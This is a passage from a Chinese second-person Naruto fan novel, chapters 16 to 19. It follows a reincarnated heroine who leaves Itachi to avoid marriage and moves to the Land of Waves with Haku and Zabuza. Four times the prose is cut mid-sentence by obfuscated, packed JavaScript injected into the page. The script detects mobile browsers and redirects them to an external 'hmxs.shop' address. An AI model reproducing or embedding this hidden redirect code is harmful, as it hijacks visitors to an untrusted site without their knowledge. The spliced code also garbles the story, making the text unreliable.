但是隔天早上醒来,他不得不接受现实,因为坐在餐桌旁的父母都在喜气洋洋地讨论这件事,他的父亲也表现得很高兴,他对你在警卫队的工作表现也很满意,毕竟再怎么说你上辈子也是个优秀的社畜,警卫队这些文职工作对你来说不过是小菜一碟,而警卫队的队长富岳也将你的工作能力看在眼里。 再者说了,你和鼬从小一起长大,又是曾经朋友的女儿,知根知底,所以无论怎么看,你们都很般配。 佐助喝了一口水,他匆匆地吃完早餐就说自己要去训练场修炼了,嘴上是这么说的,但其实到了训练场又毫无修炼的想法,他坐在树桩上双手托腮,想得出神,以前你还会陪他来训练场观看他的修炼的呢,哥哥还说就连他都没有这样的待遇。 那个时候……他真的以为你好像更加偏心他一点,但现在看来就真的只是他的错觉,你显然更喜欢他的哥哥。 不过这样好像也没什么不对,毕竟他的哥哥确实优秀,在木叶里也有很多爱慕他的女生,但是……他还是很烦闷。 他随意地从忍具包里取出苦无,也不看方向,直接扔向旁边,苦无将飘落在半空中的树叶钉在树干上,一片接着一片,等他的哥哥找过来时那棵大树上已经钉了一串的苦无,排列整齐。 “从昨天开始你的心情就不太好,能和我说说是怎么了吗?”鼬在旁边的树桩上坐下,佐助不知道该怎么说,他说:“哥哥为什么要和明希在一起呢?我是说……我们本来就是家人了。” “即便我和她成为恋人也不会影响我对你的爱。” “我又不是小孩子了。”他把自己还当是小孩子吗?还以为他这是在争夺关注和爱吗?好吧……确实可能有一点,但是、他想要的不仅仅是哥哥的关注,还有你的关注,人果然是贪心的生物啊。 “但在我这里佐助也还只是个孩子。” 没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553428|186605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办法对哥哥生气,于是他只能生自己的气,他撇撇嘴,“这一点你倒是和明希一样,都把我当小孩,我上次感冒她还问我吃完药以后要来点兔子苹果吗。” “这确实是明希会说的话。”鼬伸出手轻轻地抚摸佐助的头发,“我能理解你的心情,你现在只是一时之间有些不能接受而已。” 哥哥真的能够理解他的心情吗?他想要站在你身边取代他的心情,他真的知道吗? 空气安静了几秒,鼬站起身,走到那树干旁取下那一串的苦无,一边取一边说:“既然你和母亲说了是来修炼的,那一直坐在这里可算不上什么修炼啊。” 今天的鼬休息,一上午的时间都用在和佐助修炼这件事上,眼看佐助的心情肉眼可见地好转,他也说:“该回家吃午餐了。” 等回到家,在玄关处换下鞋子,佐助看见了坐在长廊上试戴母亲美琴首饰的你,你穿着一条墨绿色的无袖连衣裙,裙摆蜿蜒在长廊的阶梯上,犹如一汪春水,母亲美琴给你戴上一条项链,切割过的蓝宝石哪怕在幽暗的光线下也能散发出耀眼的光芒。 你低头往自己的手指上套戒指,从拇指套到小拇指,一个不落,不像是在试戴首饰,更像是在玩耍,你对着美琴比出自己戴满戒指的两只手,美琴笑着刮了一下你的鼻子,好像在说你调皮。 你耸耸肩,又戴上流苏面纱,浅金色的,中间点缀着殷红细珠的流苏将你的下半张脸遮得若隐若现,听到鼬的脚步声,你回过头,面纱下的唇角似乎微微上扬,佐助看着他的哥哥走到你身边,伸出手指拨开一角流苏,和你说了些什么。 站在一旁的佐助已经能够体会到了,这种格格不入的感觉,他甚至不知道自己该上前还是后退,他只是……僵立在原地,看着你把自己每个手指上的戒指褪下来,戴到鼬的手指上,你说:“鼬的双手也很漂亮呢,而且能做很多事情,非常灵巧呀。” 说着,你捏了一下他小指的指根,有点可惜你在上面留下的印记消失了。 这样平淡如水的日子在不久之后迎来波澜,你在收到鼬送来的和服时还没发觉事情有什么不对劲的,等佐助找过来,表情微妙地问你,“你一定要和哥哥结婚吗?” 到这时候,你才发现自己好像忽略了什么,你诧异道:“什么结婚啊?你知道结婚是什么吗?” 佐助还以为你又把他当小孩子了,他说:“我当然知道,这是心爱的人携手一生的仪式。” 仪式个锤子,这玩意就是把两个人的财产还有社会关系都用法律给捆绑起来了,你上辈子虽然不是专门的离婚律师,但你的大学室友有的去当了民事律师,经常和你分享各种离婚案子,所以你是有多想不开才要结婚的啊? 差点因为太无语而笑出来,你戳了一下佐助的额头,“你果然还是个小孩子。” 16.第 16 章 结婚是绝对不可能结婚的,别说是结婚了,你都没想过展开一段稳定的恋爱,所以你也不太明白到底是什么给了鼬一种你们会结婚的错觉呢? 佐助闷闷地说:“明希你又要说这些话来打发我了。” “因为佐助本身还只是个小孩子而已。”他这个岁数在你上辈子的时候也不过是上初中的年纪,又能懂什么呢,而且再说了,你和鼬现在的年纪也才上大学的年纪,现在就已经开始考虑婚姻了吗?不过这个世界的人确实是普遍早婚早育,但你可不想入乡随俗。 佐助在你这里碰了壁,他是真的以为你在敷衍他,而且你还有意和他的哥哥一起瞒着自己这件事,他深吸一口气,突然揪住你的衣袖,就和他小时候一样,低声说:“可不可以再等一等呢?” 他没说清楚再等等什么,他只是……希望你能够再等一等,他很快就能追上哥哥的步伐了。 “佐助,你就没有别的事情和我说了吗?”你笑眯眯地转移话题,佐助仍旧没有松开手,他说:“这是我这个月的钱。”他又递给你一个信封,你从他手里收回有些皱巴巴的袖口,考虑到要是拒绝他的话肯定又要掰扯一番,你欣然收下这装着现金的信封。 “谢谢你。” 佐助的脸颊微微泛着红,“你不需要对我说谢谢。” 后来你以要换衣服为由让他先离开房间,见你手下他的信封,他也就还算听话地离开房间。 在他走了以后你盯着那套被衣架架起那套名贵和服,主体的颜色是淡粉色,领口还有裙摆以及袖口都绣有大朵大朵的八重樱,除此之外还用金色丝线绣制精致复杂的暗纹,在光线的照耀下那纹路就隐隐散发出美丽动人的微光。 你盯着这套衣服看了有一会,真的等到了夏日祭当天,你没穿这条太过华丽的和服,而是穿着一条轻便舒适的无袖连衣裙,是纯棉质地的,非常亲肤,你和鼬约好了一起参加夏日祭,他为此精心打扮了一番,发绳是新买的,和服是专程定做的估计和你的是一套的,因为他长得天生丽质,倒是不需要其他的妆点就足够漂亮。 见你没穿他送的和服,他略带疑惑地问道:“你不喜欢那套和服吗?” 拜托,夏日祭还穿成这样严实,你一圈走下来铁定得暴汗,你没有虐待自己的倾向,当然是怎么舒服怎么来,你说:“太热了我不想穿。” “……抱歉我没有考虑到这一点。”他向你道歉。 “你穿这身不热吗?” “嗯,还好。”说着他就要来牵你的手,他的体温比你稍微高一点,但看他清爽的样子丝毫没有要流汗的迹象,这什么天选抗热圣体啊。 你任由他握住你的手,你没忘记夸奖他几句,“你今天打扮得很好看。” 他笑了一下,你们走到街上,因为是夏日祭来来往往的人还真不少,不过嘛那些摊位卖的东西来来去去就这么点,你心说这个市场怎么都没有新玩意流通啊,你难得看到一个新的摊位,出售的是香水分装,你看了两眼才发现那好像是你的某个奢侈品子品牌其中一条生产线上的香水。 虽说是大牌,但香水这种东西就和口红一样,属于可以花小钱买到奢侈品的体验感,所以你站在这个摊位前还和摊主聊了一会,问她是从哪里进货的,如果能改变原有的销售思路,或许还能让销售额再往上窜一窜。 你和摊主聊天的时候鼬就在旁边安静地站着,直到你们聊完,他才往你的手里递来一瓶名叫[青涩邂逅]的香水,他还以为你是对香水感兴趣所以刚才买了一瓶。 “比起香水,我还是更喜欢鼬身上的香味。”你面不改色地说着这样的话,这是真心话,鼬却无奈地说:“明希,不要再打趣我了。” “可是你确实很好闻啊。”你说,如果不是他居然想着要和你结婚,你还觉得两人的关系能再维持一段时间呢,但是现在看来,你得找个机会跑路了,免得哪天一个不留神就签下了婚姻届。 “你们在聊香水吗?”止水的声音忽然加入你们的对话,刚刚还在浅笑着的鼬笑容变淡了一点,他说:“止水你今天没有任务吗?” 止水耸耸肩,“我又不是天天都在出任务的,偶尔也是会放假的好嘛。”而且他刚才那话听上去就像是在反感他的出现一样,他说:“还是说我打扰到你们了呢?” 鼬眼睛都没带眨一下地,“当然。” “回答得未免也太干脆了吧。”止水叹息一声,即便如此他也没有要走的意思,而是笑着对你说:“咦,明希你今天没有穿那套和服吗?我记得那好像是鼬专门定做的,虽然很精美,但穿起来确实有些麻烦,我当时就在想明希你可能不太会穿这衣服的吧。” 你神色平静地注视着他们两个男人扯头花,正好可以自己先逛一逛,等你逛了一圈回来,止水就问:“明希你真的要和鼬结婚了吗?这样会不会太早了呢?” 想什么呢,你就算是七老八十了也没想过结婚,你说:“没有啊,你从哪里听说来的?” 止水很明显地松了一口气,“是鼬告诉我的。” 鼬也没有要逼迫你的意思,他说:“我只是在想是否可以早些确定我们的关系,毕竟围绕在明希身边毛遂自荐的家伙太多了。” 毛遂自荐是这么用的吗? 你也没有斩钉截铁地拒绝,原因很简单,毕竟你现在还在宇智波的地盘上,搞不好对方一个激动把你给扣押下来了,见人说人话见鬼说鬼话,这是你上辈子混迹职场学会的道理,也是非常宝贵的经验,所以你说:“但现在确实为时过早。” “那婚礼的日期就听你的。”鼬笑着说,在他看来你只是不同意那么快举行婚礼而已,除此之外在别的事情上你们已经达成一致了。 你要是能知道他在想什么肯定会说一句达成一致个锤子,你当初就只是想着玩一玩的,你可没想过把自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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美琴叮嘱你路上注意安全,你没回头,他们都以为这是你又一次心血来潮的旅行,但只有你知道你这次一去不复返。 你在离开木叶后见到了白,你和他有好几年没见了,他比你想象中的还要身量高挑一些,五官依旧精致秀气,和你走在一块很容易被人误当成是你的妹妹。 “已经是今天的第三个了吧,把白当成我的妹妹了。”坐在茶馆里的你半开玩笑地说。 “这样会给明希带来麻烦吗?” “那倒没有,我已经远离了最大的麻烦了。”你喝了一口茶,看向远方,心情轻松。 丝毫不在乎远在木叶的鼬回到家以后看到你留给他的那封信会是什么感想。 其实也不能算是一封信,因为你只写了短短一句话。 ——关系到此为止,别再来找我。 17.第 17 章 你和白在茶馆停留了一会,一杯茶下肚,再吃上两块点心,你觉得自己都已经吃饱了,估计晚餐都吃不了多少。 从木叶离开以后你决定在波之国暂时歇歇脚,虽说波之国是个四面环海的小国家,但是胜在风景优美而且资源丰富,除了海洋资源还有其他的矿产资源,你在事业发展起来手头有点闲钱后就在这个国家买了不少地皮,有的用来搭建度假村,有的则是开设工厂,这里的工厂生产的鱼罐头销往世界各地,也正是这些产业的发展让这个小国家总算是有了点起色。 鉴于你是这个小国家难得的纳税大户,就连国家的大名和贵族都对你客客气气的,毕竟得罪谁也不能得罪钱,这个道理谁都知道。 小国的统治阶层往往会更好说话一些,所以你就将这个国家当做自己的老巢,啊不是,是自己的总部,决定这段时间就先住在这里。 从火之国前往波之国不光要走陆路还得要坐好几天的船,你稍微有点晕船,要是遇上风平浪静的时候倒还好,可偏偏你这次出远门浪头一个接着一个,打得这艘客船摇摇晃晃的,你蜷缩在船舱的床上,整个人都神色恹恹,才吃过的晕船药刚才一个浪花打过来,你直接又给反胃吐了出来。 真是该死的鬼天气,你在心里暗骂一声,为什么是暗骂,那还不是因为你现在晕头转向得连骂出声的力气都没有了。 你走到浴室刷牙漱口,白忧心地站在你身边,外面的风浪那么大他倒是一点事都没有,甚至行走在船舱里还如履平地,不像你,走起路来都东倒西歪的,就跟喝了假酒似的。 “明希……”眼看着你要跌倒在地,他连忙扶住你,把你带回到床铺上,你将脑袋靠在他的怀里,闷闷地说:“我好讨厌风浪啊。” 白轻轻地拍着你的后背,明明年纪比你小,此刻却显得那么成熟温柔,他说:“风浪会过去的。” 你有气无力地“啧”了一声,后来风浪确实过去了,你也靠在他的怀里睡着,直到第二天的阳光照进船舱,你皱皱眉,白伸手替你挡住照着眼睛的阳光,说:“你还要再睡一会吗?” “……嗯。”你翻了个身,白把窗帘拉上,起身走出船舱去给你准备早餐,过了许久,可能是一个小时,又或者是一个小时不止,总之等你睡得差不多了,你用胳膊撑起上半身坐起来,背靠着床头,趿拉着步子走到浴室,洗脸刷牙,走出浴室时白就像是算准了时间,端着热气腾腾的早餐走到房间里,把餐点往桌子上一放,说:“今天的天气很好,应该不会再有风浪了。” 你单手托腮慢吞吞地吃着牛角包,表皮烤得金黄,口感酥脆,你又喝了两口果汁,是你很喜欢的柑橘口味果汁,酸酸甜甜的。 吃过早餐,你这才从昨晚晕船的萎靡不振中缓过神来,你伸了个懒腰,说:“那就出去看看吧。” 老是躲在船舱里你总觉得自己都要发霉了。 你套上一件防晒衣走到甲板上,说是来晒太阳的,但其实在太阳底下没站多久就觉得太晒,又跑到阴凉处盘腿坐下,白用自己的能力给你降温,其实就是他的冰遁结合风遁,直接就变成了行走的空调,你往他身边靠近一点,白说:“很热吗?” “还好,白的忍术降温效果很好呢。” “昨天明希那副样子把我吓坏了。”他很担心你会脱水生病,所以今天早上还给你准备了一杯盐水补充水分,你皱着眉把那杯盐水喝下去。 “但现在的我已经缓过来了。”你对着白笑了一下,白又说,“波之国的别墅我已经提前派人打扫过了,如果到时候你有什么不满意的地方还请告诉我。” 你对白办事的效率很放心,自从他成为你的秘书,你的工作量瞬间就减轻了许多,再也不用熬夜批阅文件了,更重要的一点是,你雇佣他当自己的秘书,他就连工资都不要,他的原话是“因为是明希小姐把我从原来的地狱里带出来的,所以我所做的这一切都不需要回报。” 这个世界的人都好擅长pua自己,甚至都不需要你说些什么,他们就很自然地调理好了,甚至有点调理过头了。 工资还是得要给的,否则你会觉得自己真的是在压榨他(虽然本质上也没有什么差别),所以你每个月都会固定在月中给他打钱,至于他如何使用这些钱,那就不是你需要关心的事情了。 “你办事我放心。”你随意地说,白的忍术将你周围的气温调控到非常舒适的范围,你的心情也跟着变好了许多。 白低垂眼帘,“谢谢你的信任。” 你侧过头,“你也不用专门为这些说谢谢,因为白对于我来说就是家人般的存在啊,家人之间也会说这些话吗?” 唉,这个世界的人肯定没听老板说过“把公司当成自己家,大家都是一家人”这种套话吧,当然,你和那些黑心的老板也有所不同,至少你给钱可是实打实的,不会刻意克扣。 这只是一句套话而已,你很清楚的,但是白却好像当真了,他手足无措地说:“我这样的人也可以成为你的家人吗?但是、我……” “可以的。”你说着,握住他的双手,然后就被冰到了,白更加着急地查看你的双手,确认没被冻伤,可他还是很愧疚,“抱歉,我刚才还差点弄伤你了。” “这算什么,这不是没有弄伤吗,我没事。”你向他展示自己的手心和手背,除了掌心稍微红了一点,其他的都没什么问题,他就是太大惊小怪了。 白眨了眨眼睛,神色有些不安,“但我记得明希你是在木叶长大的,在那里的人才是你真正的家人不是吗?” 啊、他说的是宇智波吧,你说:“是啊,但家人又不是一成不变的,现在我觉得白也是我的家人,这样不行吗?” 你反握住他的手,他的手掌比你稍微宽大一点,手指纤细修长,看起来就很秀气,他的掌心还有指腹都带着点茧子,他真担心自己手上的茧子会膈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16565001|186605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到你的皮肤,他说:“……那这是我的荣幸。” “能遇到白也是我的荣幸,肯定是我走了大运,嗯嗯,说不定就是命运的安排哦。”这些经常出现在小说里,都被用烂了的套话却还是让眼前的少年愣神,他的脸颊浮现出隐隐约约的红晕,他说:“我……” “这个时候大大方方地接受就好啦。”你抽回手,他的手还僵在半空中,过了几秒才依依不舍地收拢手指。 船靠岸了,在码头接应你们的是另外一道熟悉的身影,你站在甲板上对着再不斩挥挥手:“唷——好久不见啦。” 负责接应的再不斩尽职尽责地给你提包,见识过你上次出游时带的大包小包,这次见你只带了一个小包,他还有些奇怪地问:“转性了,居然只带这么点行李?” “事发突然,我得尽快从木叶脱身,哪里还顾得上打包行李啊。”直觉告诉你要是在那里再多呆一会估计你就要彻底被宇智波鼬给缠上了,所以你当机立断,连夜收拾行李跑路。 你还没和白说过这件事,再不斩怎么说也是见识过大风大浪的人,他一眼就看出了事情的真相,那就是你差点玩脱了,他说:“我记得上次见面的时候你还在夸奖他是个好情人的。” 你们一边走一边聊,你耸耸肩,“这不矛盾,虽然我觉得他是个好情人,但他想要升级当我的丈夫那就不行了。” 再不斩冷笑一声,“难怪你跑得那么快,原来他要和你结婚啊。” 这有什么好笑的,你就是个在感情上没有责任心的人怎么了,你摊手,“不然呢,我到底是有多想不开才会结婚啊。” 一旁的白没听你说起过情人的事情,他听着你和再不斩讨论到“情人”“结婚”这一类字眼,本能地有些抗拒,尽管他没有见过你那个情人,不对,应该是前情人,但这不妨碍他讨厌那家伙,尤其是对方都没有认清自己的位置。 说到后面,就变成了再不斩数落宇智波,你奇怪地问:“你就那么讨厌宇智波?” “不行吗?”他到现在还记得那个宇智波小鬼看你的眼神,非常让人不悦。 走到别墅入口,这还是你第一次来这栋别墅,你之前只看过照片,实物比你想的还要合心意,尤其是楼顶的露天泳池,夜晚还能泡在水里看夜景,再搭配一杯酒,那画面光是想想就觉得很惬意。 在你走入别墅的时候再不斩冷不丁地说:“你就不担心那个宇智波找过来?” “啊、我不是已经留下了一封断绝关系的信吗?” 而那封信在被收信人拆开后凝视了许久,最后那少年只是很平静地将信纸放回信封里,当佐助问起你的行踪时,他则是笑着说:“她吗?嗯……应该是出去散散心吧,放心吧,我会带她回来的。” 说的云淡风轻,但也只是表面的冷静而已,实际上呢?那封信被他看了一遍又一遍,最后才认清一个现实—— 他被你抛弃了。 18.第 18 章 你到波之国也不光是来度假的,虽然这里风景优美,但你也没忘记自己手头的工作,最近你正在尝试着涉足军.火行业,开辟新的商业版图的难度比你想象的还要大,尤其这个行业本身就被几个大型组织垄断,你作为后来者想要进军自然会受到他们的排挤。 晚餐的时候你还在看文件,这是白收集整合后的资料,上面都记录着那些军工业的组织领导人。 白给你倒了一杯柠檬气泡水,又问:“需要替你解决掉这些人吗?” “等等,我都还没看完这份名单呢。”你喝了一口气泡水,再不斩说:“如果你想要用和平的手段进入这个行业,那么成功可能性为零。” 他还是那么喜欢给你泼冷水,你瞥了他一眼,“我好像没让你说话吧?” 再不斩“啧”了一声,表情不悦,但还是很听话地没再说话,直到你翻看到名单的最后一页,你往背后一仰,背脊靠着椅背,身体微微往下滑,坐姿懒洋洋的,手里端着玻璃杯,气泡水还在滋啦啦的冒泡泡,你翻到其中一页,有点奇怪地说:“这个人,他以前不是个小喽啰吗?怎么突然一跃成为领头人物了?” 白看了一眼,然后说:“应该是背后有人操控着,让他坐到这个位置的。” 白忽然想起了什么,“我记得……他原先是雨之国的人,因为在自己的国家待不下去所以才去别的国家讨生活,只是后来突然回到雨之国,又在短时间内坐到现如今的位置。” 啊……那这其中肯定有很多细节可以深挖,你的手指摩挲下巴,雨之国,你说:“那里是不是也有一个忍者村啊,叫做……嗯,雨隐村对吗?” “是的,但是这村子和外界的接触甚少,所以我对此也不是很了解。”白回答道。 这采取的是封闭的对外政策啊,你若有所思,再不斩将你的疑虑看在眼里,他说:“算了,正好我接下来一段时间有空,我会去雨隐村调查一番的。” 你对他这次插话的态度截然不同,你笑着说:“那真是太麻烦你了。” 再不斩冷笑道:“你也会觉得不好意思啊,我以为你是那种让别人做什么事情都理直气壮的人呢。” “表面功夫总是要做一做的。”你耸耸肩。 虽说你现在在商业上面小有成就,但你知道在这个世界里就算是小有成就的商人也很可能在瞬息间就归于湮灭,毕竟这是个弱肉强食非常残忍的世界啊,你的商业发展也惹得其他竞争者分外眼红,也不知道从什么时候开始,你接二连三地遭遇暗杀,还好你先见之明知道提前做准备,你事先准备的护卫军在这时候也派上用场,你将这支队伍中的精锐部分留在波之国,为此你还在这里建立了专门的军事基地。 得亏波之国的大名只要你钱给到位,除非你在他们的国都旁边建立军事基地,其他的任由你爱做什么做什么,区区一个军事基地而已。 而且你在这里建立起的军事基地也能帮到当地的居民,至少这段时间水贼出现的频率大大降低,这里的社会安全系数直线上升。 说了那么多,你真正想说的就是,现在有不少人想要取走你的项上人头。 所以你特意安排了几位实力强大的手下陪在你身边。 你放下玻璃杯,对着再不斩说:“其实我还真有点舍不得你走。” 再不斩表情变得很微妙,大概是没想到会从你的嘴里听到这种话,他说:“你说这话是专门想要恶心我吗?” 他的性格别扭得很,属于那种好好一句话被他说出口就变成威胁恐吓的那种人,只能说他天赋异禀,你说:“总之……路上小心,别死在外面了,少了一个你这样的下属我会很难过的。” 不知怎么的,再不斩忽然又问:“你对那个宇智波小鬼也说过这种话吗?” “没有。”他出任务的时候你在上班,等你回去他的任务都结束了,而且你以外行人的角度来看也知道鼬的天赋远在再不斩之上,所以你说:“他比你强。” 直话直说,这就是你的性格,但再不斩好像更加生气了,连晚餐都没吃直接夺门而出执行任务去了,看到他气冲冲的背影你还笑眯眯地评价道:“真是个尽职尽责的好下属啊。” 白欲言又止,你看了过来,脸上的笑意还没有消退,你说:“白也想要去出外勤吗?那我是真的有些舍不得,果然白还是陪在我身边比较好一些吧。” “再不吃晚餐就要凉了。”白提醒道,你这才低头专心致志地吃晚餐, 晚餐结束以后你又换上泳衣去露天泳池里游了几圈,然后靠着游泳池边缘的扶手气喘吁吁,唉,你的体质倒是和上辈子一样,就是上辈子你丢在人群里体质还能算是中等偏上,但因为这个世界还有忍者这种存在,所以就显得你的体质很弱。 白半跪在泳池旁边问你是否需要帮助,你抬起头,水珠顺着眉骨滑落,眼睫上也沾着星星点点的水珠,你一眨眼,水珠就抖落。 白还穿着那一身素色的套装,显得他气质素净典雅,你的双臂交叠脑袋靠在上面,说:“要一起来玩水吗?” “这……” 还没等他的话音落下,你就把他给拉下水,其实凭他的实力又怎么可能会避不开你的偷袭呢,他只不过是不想躲开而已。 只听见噗通一声,少年跌入泳池里,激起一阵水花,你的脸上挂着恶作剧得逞的笑容,洋洋得意。 白也会游泳,他迅速的稳住重心,让自己的上半身悬浮在水面上,然后用手擦去脸颊上的水珠,也没有要责怪你的意思,只是说:“我的衣服不太适合游泳。” 他说的是实话,他身上的衣服在沾水后就变得有些沉重,你看着他那浸泡在浅色泳池水里的衣摆,伴着水流的涌动也在小幅度地摇曳着,就如同一朵盛开的睡莲。 你从善如流地道歉,他却有些无措地说:“不,你没必要对我道歉,是我的问题,我应该考虑到这一点的。” 怎么就又变成他的问题了,你眨巴眨巴眼睛,还是不和他计较这件事情了,你用双手掬起一捧水对准他泼去。 白肯定是没有玩过泼水游戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16571516|186605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,任凭你往他身上泼水,他一点回击的意思都没有,你叹息一声,“白,你可以回击的。” “但我不想。”他就连朝你泼水都不舍得,最后只是用双手抖了点细微的水珠,就这样还担心那细密的水珠会不会溅到你的眼睛里。 最后你得出结论,“你果然是个非常善良的好孩子啊。” 白走到岸上,一个劲地给自己的衣服挤水,又说:“这是夸奖吗?还是批评呢?” “是夸奖,好端端地我为什么要批评你呢?” 白的头发还有衣角都在滴滴答答地滴水,漆黑的长发披散在肩头,犹如美丽的水鬼,他说:“因为你经常那么批评再不斩先生。” “哈哈哈——”你忍不住笑出声,“我对待不同的人肯定用不同的方法呀,再不斩嘛……你要是对他太好,他反而会觉得有诈,有的人生来就是这样多疑,他和你不一样,你是个好孩子。” 被夸奖的少年笑容明媚,你拉着他的手穿过走廊,把他送回房间。 “那么晚安。”你说。 一路走来他的头发已经变得半干,他的双眼亮晶晶的,“嗯,晚安。” 等你回到自己的房间,发现自己不是第一个回来的,你的房间里还有另外一个不速之客,别误会,不是来暗杀你的,是来和你汇报其他孤儿院情况的负责人。 你身上还披着一条宽大的浴巾,半干的长发随意地披散在肩头,你看向那个站在你的书桌旁帮忙整理桌面的青年,他回过头,扶了一下眼镜,笑容温和有礼,他说:“晚上还游泳,明希小姐真是好兴致呀。” “可以了,直接省略这些不必要的寒暄,这次大蛇丸让你来做些什么?”你对着药师兜说。 后者很自然地打开你的衣柜替你取出睡衣和浴巾,仿佛经常这么做,他说:“其实也没什么,就是向您汇报最近那几所孤儿院的情况而已,哦对了,大蛇丸大人让我代他对您说声谢谢,说是您提供的死刑犯做实验很顺利。” 说着,他走到你身边,用浴巾擦拭你的发尾,“他还说很高兴能有您这样优秀的合作伙伴。” 你说:“用死刑犯做实验总好过让你们对孤儿下手。” 药师兜替你擦拭头发动作很细致,他说:“但就算我们不对这些孤儿下手,他们也会死在战乱里的。” “你这不是在偷换概念吗?那既然你最后是要死去的,那按照你的理论我岂不是可以现在就夺走你的生命了?”你没好气地笑了一声,他还在这跟你诡辩。 “啊呀,明希小姐的脾气怎么还是和以前一样火爆呢,您就那么在乎那些孤儿吗?他们有的甚至自己都不在乎自己的性命,您那么做又有什么意义呢?”他垂下眼帘,床头灯的灯光打在他的镜片上,出现一道光痕。 “因为我有这么做的能力,所以就这么做了,这又需要什么意义呢?”你抬起头,直视他的双眼,后者擦拭头发的动作顿了顿,他脸上总是挂着的笑容也有一瞬间的僵硬。 “哈……明希小姐真是……善良啊。” 19.第 19 章 你赶紧药师兜把要说的给说完,你忙着要去洗澡呢,他说:“如果您很着急的话,我可以等您的。” 拍开他替你擦头发的手,你站起身,回过头瞥了他一眼,“你现在又在打什么的主意?” 虽说药师兜也勉强算算得上是你的合作伙伴之一,但不代表你对他非常放心,要知道这个世界的心理变态就跟野草一样到处都是,你可以肯定这个世界的精神疾病发病率是你上辈子那个世界的好几倍,而且别看药师兜戴着眼镜外表斯斯文文,但作为了解过他曾经所作所为的你对他实在是没什么好感。 特人模狗样的一人,你在心里这么评价他。 更要命的是自从之前和他大吵一架后,此男就跟脑袋被门夹了一样,反而对你的态度更加如沐春风,说起那次吵架,其实原因也很简单,你是和大蛇丸合作了,但你提出的要求就是让他停止对孩童的人体实验,大蛇丸嘴上说的知道了,私底下还是阳奉阴违,气得你直接带着自己的护卫队杀了过去。 是的,就算真的很生气你不会忘记带上保镖,你和大蛇丸直接来了个当面对质,大蛇丸,阴险又厚脸皮,对自己做过的事情全盘否认,问就是没做过,你一气之下都要把他实验室给烧了,这时候他身边的下属药师兜还上来劝架,不对,应该是拉偏架,他说:“那些孩子如果不是因为有大蛇丸大人的庇护,甚至都活不到今天呢。” 瞧瞧这说的都是什么话,搞得好像那些被当做试验品的孩童应该感谢大蛇丸才对,你和药师兜四目相对,然后你扯动嘴角,嘲讽地笑了,抬手就给了他一巴掌,用了十足的力气,把他的眼镜都给打掉了,你对他说:“这里还轮不到你来说话,那些孤儿的命运也不应该由你来决定。” 按理来说你上次吵架都已经一巴掌把他的眼镜都给打掉了,他的正常反应是愤怒或者是怨恨还有害怕你都能够理解,但是这些反应都没有在他身上出现,他甚至更加亲近你了。 真要命,一巴掌打出个m来。 刚刚浸泡在泳池水里的头发变干以后开始发涩,你真的没工夫和药师兜耗下去了,最后你说:“既然来都来了,那就帮我把上头的泳池给打扫了吧。”反正是他自己死乞白赖要赖在这里的,你干脆打发他去做些事情,也算是不浪费劳动力。 “好的。”药师兜笑眯眯地说,目送你走进浴室。 要不是药师兜突然出现,你还打算今天晚上泡个澡的,看来计划只能暂时取消了,你简单地冲澡洗头,再把头发吹干,披着睡袍走出浴室,不出意外地看见了站在窗边的药师兜,你说:“还有什么要说的吗?”现在都已经是你的休息时间了,他真是个没眼力见的家伙。 “那些在孤儿院的孩子,最大的年纪已经可以出去工作了,不知道明希小姐对他们的安排是什么呢?” 你坐在床边,头也没抬,“进厂上班呗。”还能怎样呢。 “哈哈……明希小姐真是把他们的人生都安排得一清二楚啊,让他们去工厂工作能够自食其力,有才能的则是让他们继续深挖研究擅长的领域,唉,您可真是一位大善人。” 阴阳怪气什么呢?你皱起眉,看着他的左边脸颊,心说是不是他还得再挨一记巴掌才能安静点,你说:“你有带备用眼镜吗?” “什么?” “哦没什么,就是我在想万一等下又把你的眼镜打坏了你没有备用眼镜那就麻烦了。”你面不改色地说。 药师兜还笑得出来,“那这也是我的荣幸呀,说实话,有的时候我真的很羡慕那些孤儿呢,明明什么都没做却能享受您的恩惠,而有的孤儿却没有那么幸运。” 你揉了揉自己的太阳穴,“你在说你自己?” “很明显吗?”药师兜垂下眼帘,“算了,除了这些,我确实还带了点别的消息过来,您前阵子从土之国往外运的那一批军.火中途被劫,现在商队卡在雨之国一动不动。” 